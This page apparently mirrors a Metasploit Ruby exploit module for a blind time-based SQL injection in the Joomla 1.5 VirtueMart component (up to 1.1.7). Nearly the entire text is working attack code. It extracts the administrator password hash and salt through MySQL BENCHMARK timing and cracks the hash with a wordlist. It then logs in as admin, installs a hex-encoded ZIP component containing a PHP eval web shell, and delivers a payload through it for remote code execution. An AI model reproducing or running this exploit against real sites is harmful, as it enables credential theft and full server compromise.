扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 |
# Exploit Title: Joomla 1.5 com_virtuemart <= 1.1.7 blind time-based sql injection MSF module # Date: Thu Jul 28, 2011 # Author: TecR0c - tecr0c.mythsec [@] gmail.com # Version: <= 1.1.7 # Download: http://dev.virtuemart.net/projects/virtuemart/files # Greetz: mythsec team, James Bercega for code base for sqli blind require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Joomla 1.5 VirtueMart Component <= 1.1.7 Blind SQL Injection', 'Description'=> %q{ A vulnerability was discovered by Rocco Calvi and Steve Seeley which identifies unauthenticated time-based blind SQL injection in the "page" variable of the virtuemart component. This vulnerability allows an attacker to gain information from the database with specially crafted URLs taking advantage of the MySQL benchmark. This issue was patched in version 1.1.7a. }, 'Author' => [ 'TecR0c',#Initial discovery, msf module 'mr_me',#Initial discovery with TecR0c ], 'License'=>MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/17132/' ], [ 'URL','http://www.stratsec.net/Research/Advisories/' ], ], 'Privileged' =>false, 'Platform' => 'php', 'Arch' =>ARCH_PHP, 'Targets'=> [[ 'Automatic', { }]], 'DisclosureDate' => 'Feb 11 2011', 'DefaultTarget'=> 0 )) register_options( [ OptString.new('JDIR', [true, 'Joomla directory', '/']), OptInt.new('BMCT', [true, 'Benchmark Counter', 50000000 ]), OptInt.new('BMDF', [true, 'Benchmark Difference', 3 ]), OptInt.new('BMRC', [true, 'Benchmark Request Count', 1 ]), OptString.new('WLIST', [true, 'Wordlist location', '/home/foo/bar.txt' ]), OptString.new('AGNT', [false, 'User Agent Info', 'Mozilla/5.0' ]), OptString.new('PREF', [false, 'Database prefixt', 'jos_' ]), OptString.new('JQRY', [false, 'URI to trigger bug', 'index.php?option=com_virtuemart&page=1' ]) ], self.class) end ################################################# # Extract "Set-Cookie" def init_cookie(data, cstr = true) # Raw request? Or cookie data specifically? data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data # Beginning if ( data ) # Break them apart data = data.split(', ') # Initialize ctmp = '' tmps = {} # Parse cookies data.each do | x | # Remove extra data x = x.split(';')[0] # Seperate cookie pairs if ( x =~ /([^;\s]+)=([^;\s]+)/im ) # Key k = $1 # Val v = $2 # Valid cookie value? if ( v.length() > 0 ) # Build cookie hash tmps[k] = v # Report cookie status print_status("Got Cookie: #{k} => #{v}"); end end end # Build string data if ( cstr == true ) # Loop tmps.each do |x,y| # Cookie key/value ctmp << "#{x}=#{y};" end # Assign tmps['cstr'] = ctmp end # Return return tmps else # Something may be wrong init_debug("No cookies within the given response") end end ################################################# # Simple debugging output def init_debug(resp, exit = 0) # Continue execution if ( exit.to_i > 0 ) # Exit exit(0) end end ################################################# # Generic post wrapper def http_post(url, data, headers = {}, timeout = 15) # Protocol proto = datastore['SSL'] ? 'https': 'http' # Determine request url url = url.length ? url: '' # Determine User-Agent headers['User-Agent'] = headers['User-Agent']? headers['User-Agent'] : datastore['AGNT'] # Determine Content-Type headers['Content-Type'] = headers['Content-Type'] ? headers['Content-Type'] : "application/x-www-form-urlencoded" # Determine Content-Length headers['Content-Length'] = data.length # Determine Referer headers['Referer'] = headers['Referer']? headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}" # Delete all the null headers headers.each do | hkey, hval | # Null value if ( !hval ) # Delete header key headers.delete(hkey) end end # Send request resp = send_request_raw( { 'uri' => datastore['JDIR'] + url, 'method'=> 'POST', 'data'=> data, 'headers' => headers }, timeout ) # Returned return resp end ################################################# # Generic post multipart wrapper def http_post_multipart(url, data, headers = {}, timeout = 15) # Boundary string bndr =Rex::Text.rand_text_alphanumeric(8) # Protocol proto = datastore['SSL'] ? 'https': 'http' # Determine request url url = url.length ? url: '' # Determine User-Agent headers['User-Agent'] = headers['User-Agent']? headers['User-Agent'] : datastore['AGNT'] # Determine Content-Type headers['Content-Type'] = headers['Content-Type'] ? headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}" # Determine Referer headers['Referer'] = headers['Referer']? headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}" # Delete all the null headers headers.each do | hkey, hval | # Null value if ( !hval ) # Delete header key headers.delete(hkey) end end # Init temp = '' # Parse form values data.each do |name, value| # Hash means file data if ( value.is_a?(Hash) ) # Validate form fields filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1) contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1) mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1) encoding = value['encoding'] ? value['encoding']: "Binary" # Build multipart data temp << "--#{bndr}\r\n" temp << "Content-Disposition: form-data; name=\"#{name}\" ; filename=\"#{filename}\"\r\n" temp << "Content-Type: #{mimetype}\r\n" temp << "Content-Transfer-Encoding: #{encoding}\r\n" temp << "\r\n" temp << "#{contents}\r\n" else # Build multipart data temp << "--#{bndr}\r\n" temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n" temp << "\r\n" temp << "#{value}\r\n" end end # Complete the form data temp << "--#{bndr}--\r\n" # Assigned data = temp # Determine Content-Length headers['Content-Length'] = data.length # Send request resp = send_request_raw( { 'uri' => datastore['JDIR'] + url, 'method'=> 'POST', 'data'=> data, 'headers' => headers }, timeout) # Returned return resp end ################################################# # Generic get wrapper def http_get(url, headers = {}, timeout = 15) # Protocol proto = datastore['SSL'] ? 'https': 'http' # Determine request url url = url.length ? url: '' # Determine User-Agent headers['User-Agent'] = headers['User-Agent']? headers['User-Agent'] : datastore['AGNT'] # Determine Referer headers['Referer'] = headers['Referer']? headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}" # Delete all the null headers headers.each do | hkey, hval | # Null value // Also, remove post specific data, due to a bug ... if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" ) # Delete header key headers.delete(hkey) end end # Send request resp = send_request_raw({ 'uri' => datastore['JDIR'] + url, 'headers' => headers, 'method'=> 'GET', }, timeout) # Returned return resp end ################################################# # Used to perform benchmark querys def sql_benchmark(test, hdrs, table = nil, where = '1+LIMIT+1', tnum = nil ) # Init wait = 0 # Defaults table = table ? table: 'users' # SQL Injection string used to trigger the MySQL BECNHMARK() function sqli = ("'+UNION+SELECT+IF(#{test},+BENCHMARK(#{datastore['BMCT']},\ +MD5(1)),+0)+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}--+sqli.page") # Number of tests to run. We run this # amount of tests and then look for a # median value that is greater than # the benchmark difference. tnum = tnum ? tnum: datastore['BMRC'] # Run the tests tnum.to_i.times do | i | # Start time bmc1 = Time.now.to_i # Make the request init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs)) # End time bmc2 = Time.now.to_i # Total time wait += bmc2 - bmc1 end # Return the results return ( wait.to_i / tnum.to_i ) end ################################################# # Used to perform benchmark querys def sql_benchmark_2(hdrs, columns = nil, table = nil, where = '1+LIMIT+1', tnum = nil ) # Init wait = 0 # Defaults table = table ? table: 'users' # SQL Injection string used to trigger the MySQL BECNHMARK() function sqli = ( "'+UNION+SELECT+IF(substring((select+#{columns}+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}),1,1),BENCHMARK(#{datastore['BMCT']},+MD5(1)),+0)--+sqli.page") # Number of tests to run. We run this # amount of tests and then look for a # median value that is greater than # the benchmark difference. tnum = tnum ? tnum: datastore['BMRC'] # Run the tests tnum.to_i.times do | i | # Start time bmc1 = Time.now.to_i # Make the request init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs)) # End time bmc2 = Time.now.to_i # Total time wait += bmc2 - bmc1 end # Return the results return ( wait.to_i / tnum.to_i ) end ################################################# def get_password(hash, salt, opts = nil) # Wordlist wlst = datastore['WLIST'] # Init cntr = 0 # Verbose print_status("Attempting to crack admin password hash") # Valid hash length only if ( hash.length != 32 ) # Failure print_error("Invalid Joomla MD5 hash: #{hash.to_s}") return nil end # Does the wordlist exist? if ( !File.exist?(wlst) ) # Failure print_error("Unable to load wordlist: #{wlst}") return nil else # Load the wordlist file list = File.readlines(wlst) end # Verbose print_status("Loaded #{list.count.to_s} words from the specified list") print_status("This may take quite some time ...") # Start time bmc1 = Time.now.to_i # Loop through list list.each do | word | # Cleanup word = word.strip # Counter cntr = cntr + 1 # Attempt to find the plaintext password if ( hash == Rex::Text.md5(word + salt) ) # Success! print_status("Successfully cracked the following hash") print_status("#{hash} => #{salt} == #{word}") # Ended time bmc2 = Time.now.to_i # Duration bmc3 = bmc2 - bmc1 bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes" # Verbose print_status("Operation completed in #{bmc3}") # Return return word end # if end # each # Failure print_error("Unable to crack the following hash") print_error("#{hash} => #{salt} == ???") # Ended time bmc2 = Time.now.to_i # Duration bmc3 = bmc2 - bmc1 bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes" # Verbose print_status("Operation completed in #{bmc3}") # Return return nil end ################################################# def get_users_data(hdrs, snum, slim, cset, sqlf, sqlw) # Start time tot1 = Time.now.to_i # Initialize reqc = 0 retn = String.new # Extract salt for i in snum..slim # Offset position oset = ( i - snum ) + 1 # Loop charset for cbit in cset # Test character cbit.each do | cchr | # Start time (overall) bmc1 = Time.now.to_i # Benchmark query bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1)+LIKE+BINARY+CHAR(#{cchr.ord})", hdrs,"users", sqlw, datastore['BMRC']) # Noticable delay? We must have a match! ;) if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) # Verbose print_status(sprintf("Character %02s is %s", oset.to_s, cchr )) # Append chr retn << cchr # Exit loop break end # Counter reqc += 1 end # each end # for # Host not vulnerable? if ( oset != retn.length ) # Failure print_error("Unable to extract character ##{oset.to_s}\ . Extraction failed!") return nil end end # for # End time (total) tot2 = Time.now.to_i # Benchmark totals tot3 = tot2 - tot1 # Verbose print_status("Found data: #{retn}") print_status("Operation required #{reqc.to_s} requests (#{( tot3 / 60).to_s} minutes)") # Return return retn end ################################################# def check print_status("Attempting to determine virtuemart version") resp = http_get("modules/mod_virtuemart_currencies/mod_virtuemart_currencies.xml") # Extract Joomla version information if ( resp.body =~ /<version>([^\s]+)<\/version>/ ) # Version vers = $1.strip # Version "parts" ver1, ver2, ver3 = vers.split(/\./) # Only if version 1.1.7 if ( ver3.to_i >= 7) # Exploit failed init_debug(resp) print_status("Please confirm manually") return Exploit::CheckCode::Safe else print_status("The target is running VirtueMart : #{vers}") return Exploit::CheckCode::Vulnerable end else # Verbose print_error("Unable to determine Joomla version ...") end end ################################################# def exploit # Numeric test string tstr = Time.now.to_i.to_s # MD5 test string tmd5 = Rex::Text.md5(tstr) # Encoded payload load = payload.encoded ################################################# # STEP 02 // Get the cookie for virtuemart :) ################################################# # request to get virtuemart cookie resp = http_get("index.php?option=com_virtuemart&page=1") # Init cookie cook = init_cookie(resp) # Build headers for authenticated session hdrs = { "Cookie" => cook['cstr'] } ################################################# # STEP 03 // Calculate BENCHMARK() response times ################################################# # Verbose print_status("Calculating target response times") print_status("Benchmarking #{datastore['BMRC']} normal requests") # Normal request median (globally accessible) datastore['BMC0'] = sql_benchmark("1=2", hdrs) # Verbose print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds") print_status("Benchmarking #{datastore['BMRC']} delayed requests") # Delayed request median bmc1 = sql_benchmark("1=1", hdrs) # Verbose print_status("Delayed request avg: #{bmc1.to_s} seconds") # Benchmark totals bmct = bmc1 - datastore['BMC0'] # Delay too small. The host may not be # vulnerable. Try increasing the BMCT. if ( bmct.to_i < datastore['BMDF'].to_i ) # Verbose print_error("your benchmark threshold is small, or host is not vulnerable") print_error("increase the benchmark threshold adjust the value of the BMDF") print_error("increase the expression iterator adjust the value of the BMCT") return else # Host appears exploitable print_status("Request Difference: #{bmct.to_s} seconds") end ################################################# # STEP 04 // Attempting to find a valid admin id ################################################# atot = 0 # Total admins scnt = 0 # Step counter step = 10# Step increment slim = 10000 # Step limit # 42 is the hard coded base uid within Joomla ... # ... and the answer to the ultimate question! ;] snum = ( !defined?(auid) ) ? 62: auid # changed from 42 to 62 # Verbose print_status("Calculating total number of administrators") # Check how many admin accounts are in the database for i in 0..slim do # Benchmark bmcv = sql_benchmark_2(hdrs, "gid", "users", "gid=25+LIMIT+#{i.to_s},1",datastore['BMRC']) # If we do not have a delay, then we have reached the end ... if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) ) # Range atot = i # Verbose print_status("Successfully confirmed #{atot.to_s} admin accounts") # Exit loop break end end # Loops until limit while ( snum < slim && scnt < atot ) # Verbose print_status("Attempting to find a valid admin ID") # Verbose print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}") for i in snum.step(slim, step) bmcv = 0 # Benchmark bmcv = sql_benchmark("#{i}+>+id", hdrs, "users","gid=25+LIMIT+#{scnt.to_s},1", datastore['BMRC']) # Noticable delay? We must have a match! ;) if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) # Range itmp = i # Exit loop break else # Out of time .. if ( i == slim ) # Failure print_error("Unable to find a valid user id. Exploit failed!") return end end end # Jump back by #{step} and increment by one for i in ( snum ).upto(( itmp )) bmcv = 0 auid = 0 # Benchmark bmcv = sql_benchmark("id+=+#{i}", hdrs, "users", "gid=25", datastore['BMRC']) # Noticable delay? We must have a match! ;) if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) # UserID - first time auid gets set to 62 auid = i # Verbose print_status("Found a valid admin account uid : #{auid.to_s}") # Step Counter scnt += 1 # Exit loop break else # Out of time .. if ( i == ( itmp + step ) ) # Failure print_error("Unable to find a valid user id. Exploit failed!") return end end end ################################################# # These are the charsets used for the enumeration # operations and can be easily expanded if needed ################################################# # Hash charset a-f0-9 hdic = [ ('a'..'f'), ('0'..'9') ] # Salt charset a-zA-Z0-9 sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ] # Username charset udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ] ################################################# # STEP 05 // Attempt to extract admin pass hash ################################################# # Verbose print_status("Attempting to gather admin password hash") # Get pass hash - changed bs if ( auid != 0 && !( hash = get_users_data( hdrs, # Pass cookie value 1,# Length Start 32, # Length Maximum hdic, # Charset Array "password", # SQL Field name "id=#{auid.to_s}" # SQL Where data ) ) ) # Failure print_error("Unable to gather admin pass hash. Exploit failed!!") return end ################################################# # STEP 06 // Attempt to extract admin pass salt ################################################# # Verbose print_status("Attempting to gather admin password salt") # Get pass salt - changed bs if ( auid != 0 && !( salt = get_users_data( hdrs, # Pass cookie value 34, # Length Start 65, # Length Maximum sdic, # Charset Array "password", # SQL Field name "id=#{auid.to_s}" # SQL Where data ) ) ) # Failure print_error("Unable to gather admin pass salt. Exploit failed!!") return end ################################################# # STEP 07 // Attempt to crack the extracted hash ################################################# # Attempt to crack password hash - changed bs if ( auid != 0 ) pass = get_password(hash, salt) end # Got pass? - changed bs if ( auid != 0 && pass ) ################################################# # STEP 08 // Attempt to extract admin username ################################################# # Verbose print_status("Attempting to determine target username length") # Hard limit is 150 for i in 1.upto(150) # Benchmark bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", hdrs, "users", "id=#{auid.to_s}", datastore['BMRC']) # Noticable delay? We must have a match! ;) if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) # Length ulen = i # Verbose print_status("The username is #{i.to_s} characters long") # Exit loop break end end # Verbose print_status('Gathering admin username') # Get pass salt if ( !( user = get_users_data( hdrs,# Pass cookie value 1, # Length Start ulen, # Length Maximum udic, # Charset Array "username", # SQL Field name "id=#{auid.to_s}" # SQL Where data ) ) ) # Failure print_error("Unable to gather admin user name. Exploit failed!!") return end # Verbose print_status("Attempting to extract a valid request token") # Request a valid token resp = http_get("administrator/index.php") # Extract token if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ ) # Token rtok = $1 # Verbose print_status("Got token: #{rtok}") else # Failure print_error("Unable to extract request token. Exploit failed!") init_debug(resp) return end # Init cookie cook = init_cookie(resp) # Build headers for authenticated session hdrs = { "Cookie" => cook['cstr'] } ################################################# # STEP 09 // Attempt to authenticate as the admin ################################################# # Verbose print_status("Attempting to login as: #{user}") # Post data for login request post = "username=#{user}&passwd=#{pass}\ 〈=&option=com_login&task=login&#{rtok}=1" # Login request resp = http_post("administrator/index.php", post, hdrs) # Authentication successful??? if ( resp && resp.code == 303 ) # Success print_status("Successfully logged in as: #{user}") else # Failure print_error("Unable to authenticate. Exploit failed!") init_debug(resp) return end ################################################# # STEP 10 // Upload wrapper and execute payload! ################################################# # Verbose print_status("Attempting to extract refreshed request token") # Request a valid token (again) resp = http_get("administrator/index.php?option=com_installer",hdrs) # Extract token if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ ) # Token rtok = $1 # Verbose print_status("Got token: #{rtok}") else # Failure print_error("Unable to extract request token. Exploit failed!") init_debug(resp.body) return end # Component specific data cstr = "joomla" czip = "com_#{cstr}.zip" curi = "components/com_#{cstr}/#{cstr}.php" ################################################# # Our Joomla specific PHP payload wrapper that is # used to have more flexibility when delivering a # selected payload to a target. The wrapper is in # the Joomla! 1.6 compononent format and can also # be used with other Joomla exploits. ################################################# # # Type: Joomla 1.6 Component # File: com_joomla/joomla.xml <-- installer file # com_joomla/joomla.php <-- component file # # Data: <?php # # Modify settings # error_reporting(0); # ini_set('max_execution_time', 0); # # # Execute the selected payload, and delete the wrapper # @eval(base64_decode(file_get_contents('php://input'))); # ?> ################################################# # Hex encoded component zip data wrap= "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00" wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F" wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00" wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF" wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C" wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68" wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74" wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F" wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73" wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F" wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A" wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65" wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A" wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63" wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E" wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70" wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A" wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00" wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F" wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F" wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30" wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D" wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E" wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74" wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30" wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61" wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E" wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73" wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C" wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E" wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F" wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20" wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E" wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D" wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61" wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69" wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00" wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00" wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B" wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03" wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00" wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F" wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68" wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A" wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00" wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63" wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61" wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00" wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00" # Verbose print_status("Attempting to upload payload wrapper component") # Post data data = { # Component data 'install_package' => { 'filename' =>czip, 'contents' =>wrap, 'mimetype' => 'application/zip', 'encoding' => 'binary', }, # Required install params "installtype"=> "upload", "task" => "install.install", "#{rtok}"=> "1", } # Upload the wrapper component init_debug(http_post_multipart("administrator/index.php?option=\ com_installer&view=install", data, hdrs)) # Deliver the selected payload to the target init_debug(http_post(curi, Rex::Text.encode_base64(load))) # Shell handler return else # Verbose print_error("Failed to crack hash. Searching for new admin account ...") end # if snum += 1 end # while # Verbose print_error("Unable to crack any admin hashes. Try a better wordlist?") return end end |
体验盒子
